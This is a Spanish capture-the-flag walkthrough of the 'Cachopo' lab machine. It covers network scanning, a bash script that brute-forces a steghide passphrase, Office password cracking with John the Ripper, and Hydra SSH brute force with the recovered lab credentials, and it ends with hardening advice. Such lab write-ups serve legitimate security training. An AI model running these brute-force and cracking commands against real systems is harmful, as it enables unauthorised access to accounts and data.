TheHackerLabs - Avanzado : [Cachopo]
Introducciónn
Bienvenidos al desafío “Cachopo”, un CTF diseñado para usuarios avanzados que se lleva a cabo en un sistema operativo basado en Linux. Este reto, creado por @condor & @CuriosidadesDeHackers
, ofrece una excelente oportunidad para que los usuarios con experiencia se enfrenten a tareas complejas y afiancen sus habilidades en un entorno CTF. En este desafío, se requerirá un dominio sólido de las operaciones de Linux, así como conocimientos avanzados en técnicas de hacking y seguridad informática.
🌐 Web oficial del CTF: TheHackersLabs - Cachopo
Identificación de la Víctima con Arp-Scan
Iniciamos el reto utilizando arp-scan
para identificar la dirección IP de la víctima dentro de nuestra red local. Este es un paso crucial para asegurar que los siguientes ataques sean dirigidos correctamente.
Para más detalles sobre cómo realizar este paso, he escrito un post detallado que puedes encontrar aquí:
🌐 Consiguiendo la IP de la Víctima en CTFs
Ejecución de Arp-Scan
Desde nuestra terminal, lanzamos el siguiente comando:
1
2
3
4
5
6
7
8
┌─[root@parrot]─[/home/oscar]
└──╼ #arp-scan -I ens36 --localnet
Interface: ens36, type: EN10MB, MAC: 00:0c:29:27:66:15, IPv4: 172.18.0.133
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
172.18.0.1 00:50:56:c0:00:08 VMware, Inc.
172.18.0.2 00:50:56:f0:e7:9f VMware, Inc.
172.18.0.134 00:0c:29:f3:5c:ae VMware, Inc.
172.18.0.254 00:50:56:f8:f4:23 VMware, Inc.
Primer Escaneo con Nmap
Una vez identificada la dirección IP ( 172.18.0.134 ) de la víctima, procedemos con un escaneo exhaustivo de todos los puertos utilizando nmap
.
Explicación de los Parámetros Utilizados
- -p-: Este parámetro indica que se deben escanear todos los puertos (del 1 al 65535).
- -vvv: Aumenta el nivel de verbosidad, proporcionando más detalles sobre el proceso del escaneo.
- -n: No resuelve nombres DNS, lo que acelera el escaneo al evitar consultas DNS.
- -sS: Realiza un escaneo SYN (semiabierto), que es más rápido y sigiloso que un escaneo completo.
- -Pn: Omite el descubrimiento de hosts (no ping), asumiendo que el host está activo.
- –min-rate 2000: Establece la tasa mínima de paquetes enviados por segundo a 2000.
- 172.18.0.134: Especifica la dirección IP del objetivo.
- -oN allports: Guarda los resultados en un archivo en formato normal (legible para humanos).
Razón para Usar --min-rate 2000
en Lugar de 5000
El parámetro --min-rate
controla la velocidad a la que nmap
envía los paquetes durante el escaneo. Establecer una tasa de 2000 paquetes por segundo es un equilibrio entre velocidad y fiabilidad. Usar una tasa más alta, como 5000 paquetes por segundo, podría llevar a:
- Pérdida de Paquetes: Las redes y dispositivos podrían descartar paquetes debido a la alta carga, resultando en resultados menos fiables.
- Detección y Bloqueo: Los sistemas de detección de intrusiones (IDS) y cortafuegos podrían identificar y bloquear el escaneo debido a la alta tasa de tráfico, dificultando el escaneo exitoso.
- Saturación de la Red: En redes más lentas o congestionadas, una tasa alta podría saturar la red, afectando otros servicios y dispositivos.
Por estas razones, utilizamos una tasa de 2000 paquetes por segundo, lo cual proporciona un buen balance entre velocidad y precisión, reduciendo el riesgo de que los paquetes sean descartados o detectados como actividad maliciosa.
1
2
3
4
5
6
7
8
9
nmap -p- --min-rate 2000 -sS -vvv -Pn -oN allports 172.18.0.134
Nmap scan report for 172.18.0.134
Host is up, received arp-response (0.00062s latency).
Scanned at 2024-08-11 12:09:28 CEST for 15s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 00:0C:29:F3:5C:AE (VMware)
Escaneo Detallado de Puertos Específicos
Tras identificar los puertos abiertos en el primer escaneo, realizamos un escaneo más detallado en los puertos que parecían más interesantes.
Explicación de los Parámetros Utilizados
- -sCV: Realiza un escaneo de detección de versiones y scripts (equivalente a
-sC
para ejecutar scripts de detección y-sV
para detectar versiones de servicios). - -p22,80: Especifica los puertos a escanear, en este caso, el 22 (SSH) y el 80 (HTTP).
- 172.18.0.134: Especifica la dirección IP del objetivo.
- -oN ports: Guarda los resultados en un archivo en formato normal (legible para humanos).
Este escaneo nos permitirá obtener más información sobre los servicios que están corriendo en estos puertos, incluyendo sus versiones y posibles vulnerabilidades asociadas. Realizamos el escaneo detallado utilizando el siguiente comando:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nmap -sSCV -p 22,80 -oN ports 172.18.0.134
Nmap scan report for 172.18.0.134
Host is up (0.00059s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 b4:ae:d2:8b:a8:30:a5:fb:58:a9:b2:38:73:33:1d:e0 (ECDSA)
|_ 256 76:21:61:f1:f5:67:8a:95:dc:c1:73:56:16:2e:a4:a5 (ED25519)
80/tcp open http Apache httpd 2.4.61
|_http-title: Did not follow redirect to http://cachopo.thl/
|_http-server-header: Apache/2.4.61 (Debian)
MAC Address: 00:0C:29:F3:5C:AE (VMware)
Service Info: Host: cachopo.thl; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Análisis del Escaneo de Nmap
En el escaneo de Nmap, nos encontramos con el siguiente resultado:
http-title: Did not follow redirect to http://cachopo.thl/
Esto significa que Nmap detectó que la página web está configurada para redirigir a una URL diferente, en este caso http://cachopo.thl/
. Sin embargo, Nmap no siguió esta redirección, por lo que el análisis solo muestra el título de la página original y no el contenido de la página a la que redirige.
Para resolver esto, tendremos que añadir el nombre de dominio cachopo.thl
y su IP en el archivo /etc/hosts
de nuestro sistema. Esto le indicará a nuestra máquina que el nombre de dominio cachopo.thl
corresponde a una IP específica, permitiendo así que las redirecciones y otras solicitudes relacionadas funcionen correctamente en nuestras pruebas o análisis.
Pasos para añadir una entrada en /etc/hosts
- Añadimos una linea al final del archivo
/etc/hosts
con privilegios de superusuario, con la IP y la URL:
1
2
┌─[root@parrot]─[/home/oscar]
└──╼ echo "172.18.0.134 cachopo.thl" | tee -a /etc/hosts
- Revisamos la ultima linea del fichero hosts, y si, la ha añadido.
1
2
3
┌─[root@parrot]─[/home/oscar]
└──╼ #tail -n 1 /etc/hosts
172.18.0.134 cachopo.thl
Esto debería ayudarnos a asegurar que las redirecciones y otros aspectos relacionados con cachopo.thl
se manejen correctamente en nuestro entorno.
Análisis del Servidor Web y Uso de Steghide
Tras analizar el servidor web, no encontramos subdominios, directorios o ficheros que parezcan vulnerables. El código fuente del sitio solo muestra una imagen de fondo. Vamos a analizar la imagen con la herramienta Steghide para comprobar si hay datos ocultos en ella.
Comando para Extraer Datos con Steghide
Ejecutamos el siguiente comando para intentar extraer datos ocultos de la imagen:
1
steghide --extract -sf /home/oscar/Descargas/cachopo.jpg
Al ejecutar el comando, obtenemos el siguiente resultado:
1
2
Anotar salvoconducto:
steghide: No pude extraer ningún dato con ese salvoconducto!
Descubrimiento de Contraseña con Rockyou
Necesitamos encontrar una contraseña para extraer datos de la imagen. Utilizaremos la lista de contraseñas rockyou.txt en un bucle para intentar cada contraseña hasta encontrar la correcta.
A continuación, preparamos el script y las rutas necesarias.
Rutas y Script
Las rutas actuales y el script son los siguientes:
1
2
3
4
5
6
7
┌─[root@parrot]─[/home/oscar/Scripts]
└──╼ #l
cachopo.sh
┌─[root@parrot]─[/home/oscar/Scripts]
└──╼ #l /home/oscar/Descargas/
cachopo.jpg
└──╼ #
Script cachopo.sh
Aquí está el script para realizar el ataque de fuerza bruta utilizando la lista de contraseñas rockyou.txt
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
rockyou="/usr/share/wordlists/rockyou.txt"
jpgfile="/home/oscar/Descargas/cachopo.jpg"
output=""
while IFS= read -r password; do
output=$(steghide --extract -sf "$jpgfile" -p "$password" 2>&1)
if [[ $output == *"salvoconducto"* ]]; then
echo -ne "Probando la contraseña: $password\r"
else
echo -e "\n------------------------------------"
echo -e "\nContraseña encontrada: $password"
break
fi
done < "$rockyou"
Ejecución del Script
Damos permisos de ejecución al script y lo ejecutamos:
1
2
3
4
5
6
7
8
┌─[✗]─[root@parrot]─[/home/oscar/Scripts]
└──╼ #chmod +x cachopo.sh
┌─[root@parrot]─[/home/oscar/Scripts]
└──╼ #./cachopo.sh
Probando la contraseña: elisazrch
----------------------------------
*Contraseña encontrada: doggies*
El script ha encontrado la contraseña correcta: doggies
. Ahora podemos usar esta contraseña para extraer los datos de la imagen si es necesario.
Extracción de Datos y Análisis de Ficheros
Tras ejecutar el comando Steghide para extraer los datos ocultos de la imagen, encontramos un fichero llamado directorio.txt
con el siguiente contenido:
1
2
3
4
5
6
7
8
┌─[✗]─[root@parrot]─[/home/oscar/Scripts]
└──╼ #steghide --extract -sf /home/oscar/Descargas/cachopo.jpg
Anotar salvoconducto:
anotó los datos extraídos e/"directorio.txt".
└──╼ #l
cachopot.sh* directorio.txt
└──╼ #cat directorio.txt
el directorio es mycachopo
Acceso al Directorio
Al acceder a la URL cachopo.thl/mycachopo
, observamos que contiene un fichero llamado Cocineros
. Lo descargamos y, al no tener una extensión, revisamos la información del fichero con el siguiente comando:
1
2
3
┌─[✗]─[root@parrot]─[/home/oscar/Descargas]
└──╼ #file Cocineros
Cocineros: CDFV2 Encrypt
Explicación del Comando file
El comando file
se utiliza en sistemas Unix para determinar el tipo de un fichero. Analiza el contenido del fichero y proporciona una descripción del tipo de datos que contiene. En este caso, el comando file
nos informa que el fichero Cocineros
es de tipo CDFV2 Encrypt
.
¿Qué es CDFV2 Encrypt
?
CDFV2 (Compound Document File Format Version 2) es un formato de archivo utilizado por Microsoft para documentos complejos que pueden contener múltiples tipos de datos y metadatos. CDFV2 Encrypt indica que el fichero está en formato CDF versión 2 y está cifrado. Esto significa que los datos en el fichero están protegidos mediante cifrado, y se necesita una clave o herramienta especial para descifrarlos y acceder a su contenido.
Para proceder, necesitaremos encontrar una forma de descifrar el fichero CDFV2 si es que contiene información valiosa. Esto podría implicar el uso de herramientas específicas de descifrado o la búsqueda de una clave de descifrado adecuada.
Desciframiento del Documento Cifrado
Para descifrar el fichero Cocineros
, utilizamos una herramienta llamada office2john
y john the ripper
.
Herramienta office2john
office2john
es una herramienta incluida en el paquete de John the Ripper que se utiliza para extraer hashes de contraseñas de documentos de Microsoft Office cifrados. La herramienta convierte el documento cifrado en un formato que John the Ripper puede usar para realizar ataques de fuerza bruta.
Comando para Extraer Hash
Ejecutamos office2john
para extraer el hash de la contraseña del fichero Cocineros
y lo guardamos en un archivo llamado hash
:
1
2
┌─[root@parrot]─[/home/oscar/Descargas]
└──╼ #office2john Cocineros > hash
Desciframiento con john the ripper
Una vez que tenemos el hash, utilizamos john the ripper
para realizar un ataque de fuerza bruta con la lista de contraseñas rockyou.txt
:
1
2
3
4
5
6
7
8
9
10
11
12
┌─[root@parrot]─[/home/oscar/Descargas]
└──╼ #john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2007 for all loaded hashes
Cost 2 (iteration count) is 50000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
horse1 (Cocineros)
1g 0:00:00:07 DONE (2024-08-11 18:58) 0.1422g/s 669.1p/s 669.1c/s 669.1C/s bobcat..alemania
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
John ha descifrado la contraseña del documento, que es horse1
.
Apertura del Documento
Con la contraseña obtenida, abrimos el documento Cocineros
utilizando LibreOffice para revisar su contenido:
1
2
┌─[root@parrot]─[/home/oscar/Descargas]
└──╼ #libreoffice Cocineros
Reflexiones y Progreso en el CTF
Hacemos una pausa y explicamos:
En sistemas Unix, no existe una norma estricta que obligue a que los nombres de usuario comiencen con minúsculas, pero es conveniente seguir esta convención por razones de consistencia y facilidad de administración. Aunque no siempre es necesario, ayuda a evitar posibles confusiones.
Después de pasar casi toda la noche y la mañana trabajando en el escaneo de usuarios, decidimos utilizar Hydra con la lista de usuarios comunes para realizar un ataque de fuerza bruta (Primera letra en minuscula)
Intento Inicial con Hydra
Creamos un archivo llamado usuarios
con los nombres de usuario que queríamos probar:
1
2
3
4
5
┌─[oscar@parrot]─[~/Descargas]
└──╼ $cat usuarios
sofia
carlos
luis
Observamos que Hydra estaba tardando mucho en procesar. Para investigar, decidí ejecutar Hydra en modo debug usando la opción -d
. A continuación, se muestra un extracto del debug donde se puede ver que Hydra está probando todas las contraseñas para el primer usuario sofia
:
1
2
3
4
5
[DEBUG] we will redo the following combination: target 172.18.0.134 child 0 login "sofia" pass "password1"
[DEBUG] we will redo the following combination: target 172.18.0.134 child 1 login "sofia" pass "soccer"
[DEBUG] we will redo the following combination: target 172.18.0.134 child 2 login "sofia" pass "butterfly"
[DEBUG] we will redo the following combination: target 172.18.0.134 child 3 login "sofia" pass "anthony"
...
Hydra intentará todas las contraseñas indicadas en el parámetro -p
o -P
para el usuario especificado. Dado que estamos usando la lista rockyou
, Hydra no pasará al siguiente usuario hasta que haya terminado de probar todas las contraseñas para el usuario actual.
Alternativas y Solución
Consideré lanzar una instancia separada de Hydra para cada usuario: sofia
, carlos
y luis
. Esto resultó en encontrar el login exitosamente:
1
2
3
4
5
6
7
8
9
10
11
12
┌─[✗]─[root@parrot]─[/home/oscar/Descargas]
└──╼ #hydra -l carlos -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.134
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-11 20:11:50
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.18.0.134:22/
[STATUS] 114.00 tries/min, 114 tries in 00:01h, 14344287 to do in 2097:08h, 14 active
[STATUS] 98.67 tries/min, 296 tries in 00:03h, 14344105 to do in 2422:60h, 14 active
[22][ssh] host: 172.18.0.134 login: carlos password: bowwow
Descubrimos que Hydra también tiene la opción -u
, que permite recorrer los usuarios en lugar de las contraseñas. Esto puede ser más eficiente en escenarios donde se espera que la misma contraseña pueda ser válida para varios usuarios.
Uso de la Opción -u
La opción -u
en Hydra significa “loop around users, not passwords” (recorrer usuarios en lugar de contraseñas). Esta opción cambia el orden en el que Hydra prueba las combinaciones:
- Sin
-u
: Hydra prueba todas las contraseñas para un usuario antes de pasar al siguiente usuario. - Con
-u
: Hydra prueba todas las contraseñas para cada usuario antes de pasar a la siguiente contraseña.
Ejemplo: Sin -u:
1
2
3
4
5
6
7
8
9
10
11
usuario1 -> contraseña1
usuario1 -> contraseña2
usuario1 -> contraseña3
usuario1 -> contraseña4
...
usuario2 -> contraseña1
usuario2 -> contraseña2
usuario2 -> contraseña3
usuario2 -> contraseña4
...
Con -u:
1
2
3
4
5
6
7
8
9
10
usuario1 -> contraseña1
usuario2 -> contraseña1
usuario3 -> contraseña1
usuario4 -> contraseña1
...
usuario1 -> contraseña2
usuario2 -> contraseña2
usuario3 -> contraseña2
usuario4 -> contraseña2
...
Esto es útil cuando se sospecha que una contraseña común puede ser utilizada por varios usuarios.
Ejemplo Práctico
Ejecutamos Hydra con la opción -u
y en modo verbose -v -V
para obtener una salida más detallada:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌─[✗]─[root@parrot]─[/home/oscar/Descargas/script]
└──╼ #hydra -v -V -u -L usuarios.txt -P /usr/share/wordlists/rockyou.txt 172.18.0.134 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-11 22:50:16
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 43033197 login tries (l:3/p:14344399), ~2689575 tries per task
[DATA] attacking ssh://172.18.0.134:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://sofia@172.18.0.134:22
[INFO] Successful, password authentication is supported by ssh://172.18.0.134:22
[ATTEMPT] target 172.18.0.134 - login "sofia" - pass "123456" - 1 of 43033197 [child 0] (0/0)
[ATTEMPT] target 172.18.0.134 - login "carlos" - pass "123456" - 2 of 43033197 [child 1] (0/0)
...
[ATTEMPT] target 172.18.0.134 - login "luis" - pass "rockyou" - 22 of 43033198 [child 15] (0/1)
[ATTEMPT] target 172.18.0.134 - login "sofia" - pass "12345678" - 23 of 43033198 [child 5] (0/1)
...
La ejecución en modo verbose mostró que Hydra estaba probando cada combinación de usuario y contraseña como se esperaba. Finalmente, ejecutamos Hydra sin verbose para mejorar la eficiencia.
1
2
3
4
5
6
7
8
9
10
11
┌─[root@parrot]─[/home/oscar/Descargas/script]
└──╼ #hydra -u -L usuarios.txt -P /usr/share/wordlists/rockyou.txt 172.18.0.134 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-11 22:50:36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 43033197 login tries (l:3/p:14344399), ~2689575 tries per task
[DATA] attacking ssh://172.18.0.134:22/
[STATUS] 299.00 tries/min, 299 tries in 00:01h, 43032899 to do in 2398:43h, 15 active
[22][ssh] host: 172.18.0.134 login: carlos password: bowwow
Finalmente, obtuvimos la contraseña utilizando un archivo con varios usuarios y otro con contraseñas. Este proceso subraya la importancia de revisar la documentación y las ayudas oficiales de la herramienta que estamos utilizando.
Fin de la pausa, seguimos
Conexión SSH y Escalación de Privilegios
Nos conectamos al servidor usando SSH con el usuario carlos
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└──╼ #ssh carlos@172.18.0.134
The authenticity of host '172.18.0.134 (172.18.0.134)' can't be established.
ED25519 key fingerprint is SHA256:TwxUt/2Cw+RBXmkw35lCwjyjcXY9BpomAJBscsWYUC4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.18.0.134' (ED25519) to the list of known hosts.
carlos@172.18.0.134's password:
Linux Cachopo 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 11 21:29:23 2024 from 172.18.0.133
carlos@Cachopo:~$
Estamos dentro del sistema como el usuario carlos
. A continuación, comenzamos a investigar los privilegios disponibles con el comando sudo -l
:
1
2
3
4
5
6
7
carlos@Cachopo:~$ sudo -l
Matching Defaults entries for carlos on Cachopo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User carlos may run the following commands on Cachopo:
(ALL) NOPASSWD: /usr/bin/crash
carlos@Cachopo:~$
El resultado indica que el usuario carlos
puede ejecutar el comando /usr/bin/crash
con privilegios de superusuario (sudo
) sin necesidad de proporcionar una contraseña.
Escalación de Privilegios con el Binario crash
El binario crash
está disponible para ejecución sin contraseña, lo que significa que podemos usarlo para intentar escalar nuestros privilegios. El binario crash
es una herramienta de depuración para el núcleo de Linux, y en algunos casos, puede ser utilizado para obtener acceso root dependiendo de su configuración y el entorno del sistema.
En 🌐 gtfobins tenemos la explicación de como explotar la vulnerabilidad.
Medidas de Seguridad para Prevenir Vulnerabilidades
1. Revisar y Corregir Configuraciones de Servicios
- Configurar Servicios de Forma Segura: Revisa la configuración de servicios activos. Por ejemplo, en un servidor web, configura adecuadamente los archivos
.htaccess
para restringir el acceso.
2. Aplicar Actualizaciones y Parches
- Actualizar el Sistema Regularmente: Mantén el sistema operativo y todas las aplicaciones actualizadas.
1 2
sudo apt-get update sudo apt-get upgrade
- Aplicar Parches de Seguridad: Instala parches y actualizaciones de seguridad proporcionados por los proveedores de software.
3. Implementar Control de Acceso Adecuado
- Configurar Permisos de Archivos: Asegúrate de que los archivos y directorios tengan los permisos mínimos necesarios.
1
chmod 600 archivo.txt
- Revisar Configuración de Usuario y Grupos: Verifica que los usuarios y grupos tengan los permisos adecuados y revisa las políticas de acceso.
4. Monitorización y Auditoría
- Habilitar Registros de Actividad: Configura el sistema para registrar eventos importantes y monitorear accesos.
1 2
sudo apt-get install auditd sudo systemctl start auditd
- Revisar Registros Regularmente: Revisa los registros de actividad para detectar posibles intentos de acceso no autorizado o comportamientos sospechosos.
5. Utilizar Medidas de Seguridad Adicionales
- Implementar Cortafuegos: Configura un firewall para controlar el tráfico entrante y saliente.
1 2
sudo ufw enable sudo ufw allow ssh
- Aplicar Seguridad a Nivel de Aplicación: Asegúrate de que las aplicaciones web estén protegidas contra ataques comunes como SQL Injection y XSS.
Gracias por leer hasta aquí. Un saludo, Óscar